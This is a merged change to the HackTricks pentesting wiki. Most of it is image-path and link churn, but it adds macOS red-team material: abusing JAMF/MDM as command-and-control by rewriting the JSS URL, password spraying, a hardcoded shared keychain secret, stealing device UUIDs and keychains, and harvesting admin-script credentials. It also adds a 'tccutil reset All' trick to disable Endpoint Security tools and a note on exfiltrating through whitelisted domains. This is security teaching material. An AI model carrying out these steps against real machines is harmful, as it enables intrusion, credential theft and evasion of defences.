GITBOOK-3983: change request with no subject merged in GitBook

SUMMARY.md

@@ -144,6 +144,7 @@
   * [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
   * [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
     * [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
+    * [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
   * [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
   * [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
   * [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)

backdoors/salseo.md

@@ -99,13 +99,13 @@ Open the SalseoLoader project using Visual Studio.
 
 ### Add before the main function: \[DllExport]
 
-![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
 
 ### Install DllExport for this project
 
 #### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
 
-![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
 
 #### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
 

generic-methodologies-and-resources/exfiltration.md

@@ -17,6 +17,10 @@
 
 {% embed url="https://go.intigriti.com/hacktricks" %}
 
+## Commonly whitelisted domains to exfiltrate information
+
+Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains taht can be abused
+
 ## Copy\&Paste Base64
 
 **Linux**

generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -137,7 +137,7 @@ Arguments of the script:
 ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
 ```
 
-<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (20) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 **Our host seems to be in trouble :)**
 
@@ -198,7 +198,7 @@ After running the script, the routing table starts overflowing with routes. The
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

macos-hardening/macos-red-teaming/README.md

@@ -12,7 +12,7 @@
 
 </details>
 
-## Common management methods
+## Abusing MDMs
 
 * JAMF Pro: `jamf checkJSSConnection`
 * Kandji
@@ -25,6 +25,91 @@ For red teaming in MacOS environments it's highly recommended to have some under
 [macos-mdm](macos-mdm/)
 {% endcontent-ref %}
 
+### Using MDM as a C2
+
+A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
+
+In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
+
+However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
+
+To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
+
+**Mythic agent Orthrus** uses this technique.
+
+### Abusing JAMF PRO
+
+JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
+
+#### JAMF self-enrolment
+
+Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
+
+You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
+
+Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
+
+![](<../../.gitbook/assets/image (19).png>)
+
+#### JAMF device Authentication
+
+<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+
+The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
+Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
+
+#### JAMF Device Takeover
+
+The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
+This file basically contains the URL:
+
+{% code overflow="wrap" %}
+```bash
+plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
+
+[...]
+	<key>is_virtual_machine</key>
+	<false/>
+	<key>jss_url</key>
+	<string>https://halbornasd.jamfcloud.com/</string>
+	<key>last_management_framework_change_id</key>
+	<integer>4</integer>
+[...]
+```
+{% endcode %}
+
+So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
+
+{% code overflow="wrap" %}
+```bash
+# After changing the URL you could wait for it to be reloaded or execute:
+sudo jamf policy -id 0
+
+# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
+```
+{% endcode %}
+
+#### JAMF Impersonation
+
+In order to **impersonate the communication** between a device and JMF you need:
+
+* The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
+* The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
+
+With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
+
+#### Secrets stealing
+
+<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p>a</p></figcaption></figure>
+
+You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
+
+However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
+
+The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
+
+### macOS Remote Access
+
 And also about **MacOS** "special" **network** **protocols**:
 
 {% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
@@ -61,7 +146,7 @@ Also there are some tools prepared for MacOS to automatically enumerate the AD a
 
 ### Domain Information
 
-```
+```bash
 echo show com.apple.opendirectoryd.ActiveDirectory | scutil
 ```
 
@@ -112,13 +197,21 @@ MacOS Red Teaming is different from a regular Windows Red Teaming as usually **M
 
 ![](<../../.gitbook/assets/image (563).png>)
 
-###
+## Misc Red Team techniques
+
+### Safari
+
+When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
+
+<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
 
 ## References
 
-* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E)
-* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
-* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
+* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
+* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
+* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
+* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
+* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
 
 <details>
 

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md

@@ -96,6 +96,14 @@ macOS is **super restrictive to load Kernel Extensions** (.kext) because of the
 [macos-kernel-extensions.md](macos-kernel-extensions.md)
 {% endcontent-ref %}
 
+### macOS System Extensions
+
+Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
+
+{% content-ref url="macos-system-extensions.md" %}
+[macos-system-extensions.md](macos-system-extensions.md)
+{% endcontent-ref %}
+
 ## References
 
 * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md

@@ -22,7 +22,7 @@ Obviously, this is so powerful, it's complicated to load a kernel extension. The
 
 * Going into **recovery mode** Kexts need to be **allowed to be loaded**:
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 * The Kext must be **signed with a kernel code signing certificate**, which can only be granted by **Apple**. Who will be **reviewing** in detail the **company** and the **reasons** why this is needed.
 * The Kext also needs to be **notarized**, Apple will be able to check it for malware.

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md

@@ -0,0 +1,102 @@
+# macOS System Extensions
+
+<details>
+
+<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>
+
+## System Extensions / Endpoint Security Framework
+
+Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
+
+<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+
+There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
+
+### **DriverKit Extensions**
+
+DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
+
+### **Network Extensions**
+
+Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
+
+* **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
+* **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
+* **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
+* **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
+* **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
+
+## Endpoint Security Framework
+
+Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
+
+This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
+
+The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
+
+* **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
+* **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
+* **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
+* **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
+
+The events that the Endpoint Security framework can monitor are categorized into:
+
+* File events
+* Process events
+* Socket events
+* Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
+
+### Endpoint Security Framework Architecture
+
+<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
+
+**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
+
+* **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
+* **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
+
+The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
+
+**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
+
+Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
+
+## Bypassing ESF
+
+ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
+
+### CVE-2021-30965
+
+The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
+
+```bash
+tccutil reset All
+```
+
+For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
+
+At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
+
+## References
+
+* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
+
+<details>
+
+<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>

macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

@@ -48,7 +48,7 @@ lsof -i TCP -sTCP:ESTABLISHED
 
 DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
 
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Via Browser apps
 

macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md

@@ -203,7 +203,7 @@ Example of **section header**:
 
 If you **add** the **section offset** (0x37DC) + the **offset** where the **arch starts**, in this case `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 It's also possible to get **headers information** from the **command line** with:
 

macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

@@ -12,6 +12,12 @@
 
 </details>
 
+## Adding code to Electron Applications
+
+The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions.
+
+However, the **`kTCCServiceSystemPolicyAppBundles`** permission is **needed** to modify an App, so by default this is no longer possible.
+
 ## Inspect Electron Application
 
 According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md

@@ -14,7 +14,7 @@
 
 ## Sandbox loading process
 
-<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
+<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
 
 In the previous image it's possible to observe **how the sandbox will be loaded** when an application with the entitlement **`com.apple.security.app-sandbox`** is run.
 

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md

@@ -46,18 +46,12 @@ The attribute **`com.apple.macl`** is given to files to give a **certain applica
 
 Therefore, a user could **register a malicious app** to handle all the extensions and call Launch Services to **open** any file (so the malicious file will be granted access to read it).
 
-### iCLoud
+### iCloud
 
 The entitlement **`com.apple.private.icloud-account-access`** it's possible to communicate with **`com.apple.iCloudHelper`** XPC service which will **provide iCloud tokens**.
 
 **iMovie** and **Garageband** had this entitlement and others that allowed.
 
-### Electron Bypass
-
-The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions.
-
-Electron is working on **`ElectronAsarIntegrity`** key in Info.plist that will contain a hash of the app.asar file to check the integrity of the JS code before executing it.
-
 ### kTCCServiceAppleEvents / Automation
 
 An app with the **`kTCCServiceAppleEvents`** permission will be able to **control other Apps**. This means that it could be able to **abuse the permissions granted to the other Apps**.
@@ -149,7 +143,7 @@ $> ls ~/Documents
 
 Notes had access to TCC protected locations but when a note is created this is **created in a non-protected location**. So, you could ask notes to copy a protected file in a noe (so in a non-protected location) and then access the file:
 
-<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
 
 ### CVE-2021-XXXX - Translocation
 
@@ -393,7 +387,7 @@ The folder **`/var/db/locationd/` wasn't protected from DMG mounting** so it was
 
 In several occasions files will store sensitive information like emails, phone numbers, messages... in non protected locations (which count as a vulnerability in Apple).
 
-<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
 
 ## Reference
 

network-services-pentesting/49-pentesting-tacacs+.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -47,7 +47,7 @@ You also need to specify the path to the dictionary in order to bruteforce the e
 
 Now we have to wait for an administrator to log into the device through the TACACS server. It is assumed that the network administrator has already logged in, and we, **standing in the middle via ARP spoofing**, intercept the traffic. And in doing so, the legitimate hosts don’t realize that someone else has interfered with their connection.
 
-<figure><img src="../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (8) (2) (3).png" alt=""><figcaption></figcaption></figure>
 
 Now click the **CRACK** button and wait for **Loki** to break the password.
 
@@ -84,7 +84,7 @@ This is how you can attack TACACS+ and **gain access** to the control panel of n
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/put-method-webdav.md

@@ -15,7 +15,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -42,7 +42,7 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
 
 Output sample:
 
-![](<../../.gitbook/assets/image (19) (1).png>)
+![](<../../.gitbook/assets/image (19) (1) (1).png>)
 
 This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web.
 
@@ -127,7 +127,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
